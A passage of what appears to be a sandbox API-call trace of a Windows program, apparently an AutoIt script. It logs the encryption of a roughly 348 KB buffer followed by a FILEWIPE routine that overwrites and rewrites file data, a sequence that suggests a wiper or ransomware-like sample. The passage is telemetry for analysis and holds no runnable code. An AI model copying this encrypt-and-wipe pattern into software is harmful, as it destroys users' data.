lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.998] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.998] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.999] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.001] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x55000, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x55010) returned 1 [0025.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.001] CharLowerBuffW (in: lpsz="byte[348177]", cchLength=0xc | out: lpsz="byte[348177]") returned 0xc [0025.001] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.007] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.007] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.007] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.010] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.010] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f42bfa00*, pdwDataLen=0xe8f3dfdf68*=0x55000, dwBufLen=0x55010 | out: pbData=0xe8f42bfa00*, pdwDataLen=0xe8f3dfdf68*=0x55010) returned 1 [0025.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.013] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.013] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.013] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.040] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.040] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.041] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.041] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.041] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.041] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.041] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.042] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0025.042] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.042] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.042] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.042] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.042] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.045] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.045] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.045] CharLowerBuffW (in: lpsz="byte[348160]", cchLength=0xc | out: lpsz="byte[348160]") returned 0xc [0025.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.049] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.049] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.049] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.049] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.050] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.051] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 